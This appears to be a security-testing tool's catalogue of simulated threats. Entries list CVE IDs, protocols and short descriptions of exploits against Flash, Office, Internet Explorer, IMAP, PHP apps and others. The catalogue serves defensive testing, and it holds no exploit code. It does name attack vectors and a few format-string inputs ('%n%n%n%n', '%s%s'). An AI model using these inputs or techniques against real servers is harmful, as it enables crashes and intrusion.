Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-2118
Threat File Name:	TSL20140204-05_Adobe_Flash_Player_load_and_store_Write_What_Where_IPv6.xml
Executive Description:	Adobe Flash Player load and store Write What Where(IPv6 Version)
Detailed Description:	An code execution vulnerability exists in Adobe Flash player. It has been reported to be used by malware in the wild. A remote attacker could exploit this vulnerability by enticing a user to visit a web page embedding a specially crafted Flash file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS,IPv6
CVEID:	CVE-2014-0497
Threat File Name:	fuzz-ARP_hwAddrType_IPv6.xml
Executive Description:	Fuzzer for Protocol:ARP and Field:hwAddrType (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	ARP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20110104-03_Microsoft_Windows_Graphics_Rendering_Engine_Thumbnail_Image_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine Thumbnail Image Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft's Graphics Rendering Engine. The vulnerability is due to insufficient input validation when processing the <i>biClrUsed</i> value of a bitmap thumbnail. An attacker can exploit this vulnerability by enticing a user to handle a specially crafted file. The file could be embedded in Office documents or a .MIC file. This vulnerability may be triggered by previewing the malicious file in thumbnail view. Successful exploitation could lead to arbitrary code execution. Note that CVE-2010-3970 covers two vulnerabilities. This report covers the stack buffer overflow with a publicly disclosed exploit whereas FSC20110208-45 covers the integer overflow vulnerability.

Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2010-3970
Threat File Name:	TSL20120524-01_IBM_Lotus_Quickr_gp2_cab_ActiveX_Control_Stack_Buffer_Overflow.xml
Executive Description:	IBM Lotus Quickr gp2.cab ActiveX Control Stack Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in IBM Lotus Quickr. The vulnerability is due to an unbounded string copy within the QuickPlace ActiveX control when setting either the Attachment_Times or Import_Times property. A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user's browser.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-2176
Threat File Name:	TSL20160913-36_Microsoft_Windows_PDF_Library_PostScript_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Windows PDF Library PostScript Information Disclosure (IPv6 Version)
Detailed Description:	An out-of-bound read vulnerability has been reported in Microsoft Windows PDF library. The vulnerability is due to mishandling of the domains attribute for a Type 4 PostScript Calculator function. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted PDF file. Successful exploitation could allow the attacker to gain sensitive information.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3374
Threat File Name:	postnuke_sqli.xml
Executive Description:	PostNuke pnFlashGames Module v1.5 REmote SQL Injection
Detailed Description:	This threat demonstrates a standard SQL injection attack against PostNuke's pnFlashGames module, this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	hrsSunONE.xml
Executive Description:	HTTP Request Smuggling Poisoning
Detailed Description:	This threat attempts to poison the cache of a SunONE proxy server by sending a specially crafted HTTP request which is parsed differently by the webserver and by the proxy server. This can be used to view webpages by causing the proxy to cache a different page in its place. This threat would typically go through a popular proxy port or port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2094
OSVDB:	17738
Threat Package:	Standard
Threat File Name:	internetExplorerFileDOS.xml
Executive Description:	Internet Explorer File URL Denial of Service
Detailed Description:	This attack causes Internet Explorer to crash by specifying a malformed drive letter to load. This attack normally comes from a malicious webserver. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20110923-05_Microsoft_Excel_Incorrect_BIFF2_Record_Parsing_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Incorrect BIFF2 Record Parsing Code Execution(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Excel. The vulnerability is due to heap memory corruption that occurs while parsing certain BIFF2 records in Excel files. A remote attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful attack would result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-1988
Threat File Name:	formbankserver_traversal_IPv6.xml
Executive Description:	Formbankserver 1.9 (Name) Directory Transversal Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for a malicious user to read arbitrary files from the server. Formbankserver is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	hp_hpqxml_dll_activex_overwrite.xml
Executive Description:	HP Digital Imaging (hpqxml.dll 2.0.0.133) arbitrary Data Write Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a flaw in HP Digital Imaging ActiveX Component allowing it to overwrite any file on the victim system. this threat is delived via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3487
Threat Package:	Standard
Threat File Name:	doceboCMS_cmi_IPv6.xml
Executive Description:	DoceboCMS Arbitrary PHP File Inclusion (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via lib.php's GLOBAL parameter. DoceboCMS is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2576
OSVDB:	25757
Threat Package:	Standard
Threat File Name:	FSC20090602-13_Apple_iTunes_Protocol_Handler_Stack_Buffer_Overflow.xml
Executive Description:	Apple iTunes Protocol Handler Stack Buffer Overflow

Detailed Description:	A buffer overflow vulnerability exists in Apple iTunes. The vulnerability is due to the way of Apple iTunes processes URLs via the protocol handlers "itms", "itmss", "daap", "pcast", and "itpc". A remote attacker can exploit this vulnerability by enticing a target user to open a crafted website. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In an attack case where code injection is not successful, the affected Apple iTunes process will terminate abnormally.
Protocol Type:	HTTP/HTTPS/SMTP/POP3
CVEID:	CVE-2009-0950
Threat Package:	Standard
Threat File Name:	imap_format_command_IPv6.xml
Executive Description:	IMAP Command Tag Format String Attack (IPv6 Version)
Detailed Description:	This threat sends the format string attack characters %n%n%n%n as the command tag of properly formatted imap command. This can cause vulnerable IMAP daemons to crash due to improper input sanitization. This attack can also lead to remote code execution after the proper shellcode has been determined. IMAP daemons typically listen on port 143. (IPv6 Version)
Protocol Type:	IMAP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140522-11_SAP_Sybase_Event_Stream_Processor_esp_parse_ConnectionType_Unsafe_Pointer_Dereference.xml
Executive Description:	SAP Sybase Event Stream Processor esp_parse ConnectionType Unsafe Pointer Dereference
Detailed Description:	Three unsafe pointer dereference vulnerabilities have been reported in SAP Sybase Event Stream Processor (ESP). These vulnerabilities are caused by the listening service accepting unsanitized pointers in XMLRPC requests. By sending crafted requests to a vulnerable server, an remote attacker can cause the service to terminate resulting in a denial of service condition. Tester should turn variable \$destPort into 1024-65535 before test.
Protocol Type:	HTTP
CVEID:	CVE-2014-3458
OSVDB:	107265
Threat File Name:	fuzz-IP_Identification.xml
Executive Description:	Fuzzer for Protocol:IP and Field:Identification
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	fuzz-TFTP_ErrorCode_Message_formats.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_ErrorCode_Message_formats.xml
Detailed Description:	Fuzzes ErrorNullTerm field by appending "%s%s" to the ErrorMessage with ranging sizes. OpCode is 05
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	TSL20111102-06_Bennet-Tec_TList_ActiveX_SaveData_Arbitrary_File_Creation.xml
Executive Description:	Bennet-Tec TList ActiveX SaveData Arbitrary File Creation
Detailed Description:	An insecure method is exposed by Bennet-Tec's TList ActiveX control. The vulnerability is caused due to the TList.TList.[6-8] (Tlist[6-8].ocx) control including the insecure "SaveData" method. This can be exploited to create or rewrite arbitrary files in the context of the currently logged on user. A remote attacker could possibly exploit this vulnerability to achieve arbitrary code execution by enticing a target user to open a crafted web page.
Protocol Type:	HTTP,HTTPS
Threat File Name:	FSC20081014-27_Microsoft_Internet_Explorer_HTML_Attribute_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer HTML Attribute Handling Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The vulnerability is specifically due to insufficient validation of HTML tags which leads to memory corruption. Remote attackers could exploit this vulnerability by persuading a target user to visit a specially crafted web page. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3476
Threat Package:	Standard
Threat File Name:	FSC20070612-08_Microsoft_Visio_Version_Number_Handling_Code_Execution_Vulnerability.xml
Executive Description:	Microsoft Visio Version Number Handling Code Execution Vulnerability
Detailed Description:	A remote code-execution vulnerability exists in the way Microsoft Visio processes files. The vulnerability is due to insufficient validating of user-supplied data while processing Version Number. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Microsoft Visio file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0934
Threat Package:	Standard
Threat File Name:	FSC20080212-08_Microsoft_Internet_Explorer_HTML_Rendering_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer HTML Rendering Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles certain layout combinations. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0076
Threat Package:	Standard
Threat File Name:	quicktime_hreftrack_crosszone_IPv6.xml

Executive Description:	Apple Quicktime HREFTrack Cross-Zone Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat simulates a client requesting a Quicktime video, and the server replying with a maliciously constructed mov file. This file will trigger a cross-zone scripting vulnerability, allowing arbitrary code execution via a remote script. The transport of the mov file is done via HTTP, which generally runs on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140603-08_PHP_CDF_File_Handling_Infinite_Loop.xml
Executive Description:	PHP CDF File Handling Infinite Loop
Detailed Description:	A denial of service vulnerability has been reported in PHP. It is due to an error in the FileInfo module while handling nelements in the processing of CDF files. A remote attacker can exploit the vulnerability by sending crafted CDF files to a web application running a vulnerable version of PHP. A successful attack will result in an infinite loop, which can cause a denial of service condition.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0238
Threat File Name:	TSL20170111-13_Adobe_Acrobat_ImageConversion_JPEG_Heap-based_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Acrobat ImageConversion JPEG Heap-based Buffer Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow vulnerability has been found in the ImageConversion component of Adobe Acrobat. The vulnerability is due to improper validation user-supplied data which can result in a heap buffer overflow when processing a JPEG image file. A remote attacker could exploit the vulnerability by enticing a target user to open a maliciously crafted file or web page. Successful exploitation could result in code execution under the context of the user.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP, IPv6
CVEID:	CVE-2017-2959
Threat File Name:	suse_source.xml
Executive Description:	Suse CGI Sourcecode Viewing
Detailed Description:	This threat takes advantage of a default configuration flaw in SuSe's packaged webserver which allows a remote attacker to view the source code to any CGI script. This allows the attacker to glean useful information in order to determine the best way to attack the webserver.
Protocol Type:	HTTP
CVEID:	CVE-2000-0868
OSVDB:	402
Threat Package:	Standard
Threat File Name:	Confixxpro_XSS.xml
Executive Description:	Confixx Pro ftplogin login Variable XSS
Detailed Description:	Confixx Pro contains a flaw that allows a remote cross site scripting attack. This flaw exists because the application does not validate the "login" variable upon submission to the ftplogin/ script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser. ConfixxPro is a web application, and typically listens on port 80.
Protocol Type:	HTTP
OSVDB:	25525
Threat Package:	Standard
Threat File Name:	TSL20150521-06_Google_Chrome_blink_buildShadowAndInstanceTree_Use_After_Free_IPv6.xml
Executive Description:	Google Chrome blink buildShadowAndInstanceTree Use After Free IPv6 version
Detailed Description:	A use-after-free vulnerability exists in Google Chrome, blink component. The vulnerability is due to error when building a shadow tree for a <use> element with a direct reference to a disallowed element. A remote attacker could exploit this vulnerability by enticing a user to open a malicious webpage. Successful exploitation could result in code execution in the context of the currently logged in user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-1256
OSVDB:	122293
Threat File Name:	FSC20080122-02_IBM_Tivoli_Provisioning_Manager_for_OS_Deployment_HTTP_Server_Buff.xml
Executive Description:	IBM Tivoli Provisioning Manager for OS Deployment HTTP Server Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in IBM Tivoli Provisioning Manager for OS Deployment. The flaw is due to a boundary error in the HTTP server component when processing crafted HTTP requests. A remote unauthenticated attacker may leverage this vulnerability to create a denial of service condition of the affected service, or inject and execute arbitrary code on the target host with privileges of the affected service.
Protocol Type:	HTTPS
CVEID:	CVE-2008-0401
Threat Package:	Standard
Threat File Name:	eastwindsoftware_activex_bof.xml
Executive Description:	East Wind Software ADVDAUDIO ActiveX Control OpenDVD Buffer Overflow Vulnerability
Detailed Description:	This threat leverages a flaw in IncrediMail ActiveX control trigger denial-of-service conditions in Internet Explorer when accessed from a malicious webserver listening on port 80. This threat leverages a flaw in East Wind Software's ActiveX control trigger arbitrary code execution in Internet Explorer when accessed from a malicious webserver listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120301-10_IBM_Tivoli_Provisioning_Manager_Express_Asset_getMimeType_SQL_Injection.xml
Executive Description:	IBM Tivoli Provisioning Manager Express Asset.getMimeType SQL Injection
Detailed Description:	An SQL injection vulnerability exists in IBM Tivoli Provisioning Manager Express. The vulnerability is due to insufficient input sanitation in the Asset.getMimeType function when processing HTTP requests sent to the getAttachment servlet. A remote attacker can exploit this SQL injection vulnerability to read data from the database including the SHA1 encrypted admin password, and then upload file to the server and execute code under the context of the SYSTEM user.
Protocol Type:	HTTP
CVEID:	CVE-2012-0199

Threat File Name:	TSL20140408-01_OpenSSL_TLS_DTLS_Heartbeat_Information_Disclosure_IPv6.xml
Executive Description:	OpenSSL TLS DTLS Heartbeat Information Disclosure(IPv6 version)
Detailed Description:	An information disclosure vulnerability exists in OpenSSL. The vulnerability is due to an error when handling TLS/DTLS heartbeat packets. An attacker can leverage this vulnerability to disclose memory contents of a connected client or server.
Protocol Type:	TLS,DTLS,HTTPS,SMTPS,SIPS,IPV6
CVEID:	CVE-2014-0160
OSVDB:	105465
Threat File Name:	myphpcms_rfi_IPv6.xml
Executive Description:	MyPHP CMS File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.MyPHP CMS is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090811-06_Microsoft_Active_Template_Library_Remote_Code_Execution.xml
Executive Description:	Microsoft Active Template Library Remote Code Execution
Detailed Description:	A remote code execution vulnerability exists in Microsoft Active Template Library (ATL). The vulnerability is due to an error in the ATL header that frees unintended areas of memory. Remote attackers can exploit this issue by enticing target users to visit a malicious web page. Successful exploitation could potentially cause arbitrary code to be injected and executed in the security context of the current logged on user. In this case, the behaviour of the target machine is dependent on the intention of the malicious code. In the event of an unsuccessful attack, the application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-2494
Threat Package:	Standard
Threat File Name:	FSC20101109-13_Microsoft_Office_RTF_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office RTF Stack Buffer Overflow (IPV6 VERSION)
Detailed Description:	A stack buffer overflow exists in Microsoft Office. The vulnerability is due to insufficient validation of user supplied rich text data within RTF documents. This vulnerability may be exploited by remote attackers to execute arbitrary code on a target system by enticing a user to open a maliciously crafted file.In situations where code execution is successful, the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-3333
Threat File Name:	acftp_dos_IPv6.xml
Executive Description:	ACFTP FTP Server User Command Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a flaw in the way ACFTP Server parses certain characters in user commands that can cause a denial of service condition. ACFTP server typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-2242
Threat Package:	Standard
Threat File Name:	TSL20170419-08_Oracle_MySQL_sql_authentication_Integer_Overflow.xml
Executive Description:	Oracle MySQL sql_authentication Integer Overflow
Detailed Description:	A vulnerability has been reported in Oracle MySQL. The vulnerability is due to an integer overflow in the Pluggable Authentication module of MySQL. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted packet to the vulnerable server. Successful exploitation could result in denial of service conditions on the target system.
Protocol Type:	MySQL
CVEID:	CVE-2017-3599
Threat File Name:	TSL20140616-01_PHP_php_parserr_DNS_TXT_Hea_Buffer_Overflow.xml
Executive Description:	PHP php_parserr DNS_TXT Heap Buffer Overflow
Detailed Description:	A heap buffer vulnerability exists in the php_parserr() function in PHP. The vulnerability is due to an error in parsing malformed DNS TXT records. >An attacker can exploit this vulnerability if the application uses the vulnerable function. A successful attack can allow arbitrary code execution in the context of the PHP application. An unsuccessful attack will result in a denial of service condition.
Protocol Type:	DNS
CVEID:	CVE-2014-4049
OSVDB:	107994
Threat File Name:	veritas_clientconnect_IPv6.xml
Executive Description:	Veritas Backup Exec CLIENT_CONNECT Overflow (IPv6 Version)
Detailed Description:	This threat causes remote code to be executed on the target machine through a flaw in the backup exec agent program. Backup Exec Agent typically listens on port 10000. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-0773
OSVDB:	17624
Threat Package:	Standard
Threat File Name:	FSC20100608-21_Microsoft_Office_Excel_RealTimeData_Record_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Excel RealTimeData Record Parsing Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel 2002. The vulnerability is due to the way the vulnerable product parses Excel documents, allowing for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-1247
Threat Package:	Standard

Threat File Name:	TSL20130212-24_Microsoft_Internet_Explorer_CHTML_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CHTML Use After Free
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to the use of an object after it has been deleted (use-after-free). A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0029
OSVDB:	90126
Threat File Name:	FSC20090609-23_Microsoft_Office_Excel_Malformed_Record_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel Malformed Record Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office Excel products. The vulnerability is due to manipulation of pointer values stored in record types Qsir. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-1134
Threat Package:	Standard
Threat File Name:	FSC20080903-01_Novell_iPrint_Client_nipplib.dll_ActiveX_Control_IppCreateServerRef_Buffer_Overflow.xml
Executive Description:	Novell iPrint Client nipplib.dll ActiveX Control IppCreateServerRef Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Novell iPrint Client. The vulnerability is caused due to insufficient boundary checking when certain parameters are passed to the affected ActiveX control. An attacker may exploit this vulnerability by enticing a target user to open a malicious web page. Successful exploitation might lead to injection and execution of arbitrary code in the security context of the currently logged in user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-2436
Threat Package:	Standard
Threat File Name:	fusebox_xss.xml
Executive Description:	Fusebox Cross Site Scripting Attack
Detailed Description:	This threat recreates a cross site scripting condition in ColdFusion Fusebox. This can allow an attacker to steal session and cookie information. Fusebox is a web application, and will typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2480
OSVDB:	18520
Threat Package:	Standard
Threat File Name:	TSL20170428-01_Jenkins_CI_Server_Multiple_Cross-Site_Request_Forgery.xml
Executive Description:	Jenkins CI Server Multiple Cross-Site Request Forgery
Detailed Description:	Multiple Cross-Site Request Forgery vulnerabilities have been reported in Jenkins CI. The vulnerabilities are due to a lack of CSRF protections on certain types of requests. A remote, unauthenticated attacker can exploit these vulnerabilities by enticing an authenticated user to click a maliciously crafted link or open a maliciously crafted web page. Successful exploitation of these vulnerabilities could lead to a variety of effects including denial-of-service, configuration changes, and, in the worst case, arbitrary command execution with the privileges of Jenkins.
Protocol Type:	HTTP
CVEID:	CVE-2017-1000356
Threat File Name:	k_shoutBox_rfi_IPv6.xml
Executive Description:	ShoutBox Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. K_ShoutBox is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3989
Threat Package:	Standard
Threat File Name:	FSC20110208-20_Microsoft_Excel_Office_Drawing_Layer_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Office Drawing Layer Remote Code Execution(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Excel. The vulnerability is due to a use-after-free error while handling sOffice drawing objects. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to download and process a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0977
Threat File Name:	firefoxAddOnInject_IPv6.xml
Executive Description:	Firefox XSS Code Injection (IPv6 Version)

Detailed Description:	This threat takes advantage in a flaw in the Mozilla Firefox web browser which allows an attacker to execute arbitrary code on the client. This is performed by creating a page which loads the add-ons webpage for Firefox and then calls the install method on that page. By doing this, the attacker is able to insert arbitrary code into an element that runs in the context of the user. This flaw is used by showing the user a malicious webpage, typically served on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1477
Threat Package:	Standard
Threat File Name:	TSL20111115-05_Flexera_InstallShield_ISGrid2_dll_DoFindReplace_Heap_Buffer_Overflows_IPv6.xml
Executive Description:	Flexera InstallShield ISGrid2.dll DoFindReplace Heap Buffer Overflows(IPV6 VERSION)
Detailed Description:	Two heap buffer overflow vulnerabilities exist in Flexera Software InstallShield. Specifically, these vulnerabilities exist in the InstallShield Grid Control, ISGrid2.dll. The vulnerabilities are due to insufficient validation of the arguments of the DoFindReplace() method. Crafted long arguments can cause an overflow of heap buffers that could possibly lead to injection and execution of arbitrary code. A remote unauthenticated attacker can exploit these vulnerabilities by enticing a target user to open a malicious HTML page that uses the ActiveX Control ISGrid.Grid2. Successful exploitation can result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-3174
Threat File Name:	aabot_IPv6.xml
Executive Description:	aa.bot Phone Home (IPv6 Version)
Detailed Description:	This threat is an HTTP request for a file used to track the spread of aa.bot. By logging the attempts to access this file, the creator of the bot can have a reasonable idea of how many systems the bot has infected. The bot pulls the file down via HTTP, which uses port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sipbadbranch.xml
Executive Description:	SIPPING: No Additional Branch Identifier
Detailed Description:	This threat sends out a SIP OPTIONS message with no additional branch identifier after the RFC 3261 required part. This is acceptable for RFC 2543 compliance, but may confuse or crash newer SIP implementations that aren't expecting this behavior.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20071116-03_Microsoft_Office_Jet_Engine_MDB_File_Parsing_Buffer_Overflow.xml
Executive Description:	Microsoft Office Jet Engine MDB File Parsing Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Jet Engine. The flaw is due to boundary errors when processing MDB database files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted MDB file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-6026
Threat Package:	Standard
Threat File Name:	TSL20150729-01_ISC_BIND_TKEY_Queries_Assertion_Failure_IPv6.xml
Executive Description:	ISC BIND TKEY Queries Assertion Failure IPv6 version
Detailed Description:	A denial-of-service vulnerability has been reported in BIND. The vulnerability is due to improperly handling TKEY queries. An unauthenticated, remote attacker can send a crafted packet to trigger a REQUIRE assertion failure, causing BIND to exit. Successful attack results in a denial-of-service condition. Tester should set variable \$destport to 53 before test.
Protocol Type:	DNS.IPV6
CVEID:	CVE-2015-5477
Threat File Name:	eXtremail_v8_remote_heap_IPv6.xml
Executive Description:	eXtremail <= 2.1.1 (v8) Remote Heap Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a heap overflow in eXtremail 2.1.1 by sending multiple long strings to the IMAP port, leading to a denial of service condition. This threat is delivered to the IMAP port 143/tcp. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2007-5466
Threat Package:	Standard
Threat File Name:	TSL20160913-33_Microsoft_Internet_Explorer_and_Edge_CVE-2016-3325_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-3325 Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Internet Explorer and Edge. This vulnerability is due to improper handling of objects in memory. A remote attacker can exploit this vulnerability by enticing the victim to visit a maliciously controlled web server. Successful exploitation could allow the attacker to gain sensitive information.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3325
Threat File Name:	FSC20050412-02_Microsoft_Windows_IP_Validation_Vulnerability.xml
Executive Description:	Microsoft Windows IP Validation Vulnerability
Detailed Description:	A vulnerability exists in the Microsoft Windows operating systems' processing of IP (Internet Protocol) packets. The affected systems do not perform sufficient validation on IP options fields. This flaw may allow an unauthenticated attacker to cause a denial of service, or inject and execute arbitrary code on the target system.
Protocol Type:	TCP
CVEID:	CVE-2005-0048
Threat Package:	Standard
Threat File Name:	FSC20071105-18_Apple_QuickTime_PICT_Image_Processing_Uncompressedfile_Stack_Overflow_IPv6.xml

Executive Description:	Apple QuickTime PICT Image Processing Uncompressedfile Stack Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to boundary errors when processing PICT image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted PICT image file. Successful exploitation would cause a heap overflow that may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4672
Threat Package:	Standard
Threat File Name:	FSC20091013-13_Microsoft_Internet_Explorer_Uninitialized_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Object Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an implementation error in the way Internet Explorer duplicates certain objects. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the current logged on user. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user; additionally, the behaviour of the target machine is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-2530
Threat Package:	Standard
Threat File Name:	mynewsgroups_rfi.xml
Executive Description:	MyNewsGroups Layersmenu.INC.php Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MyNewsGroups is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-3966
Threat Package:	Standard
Threat File Name:	altn_imap_IPv6.xml
Executive Description:	ALT-N IMAP Daemon Denial of Service (IPv6 Version)
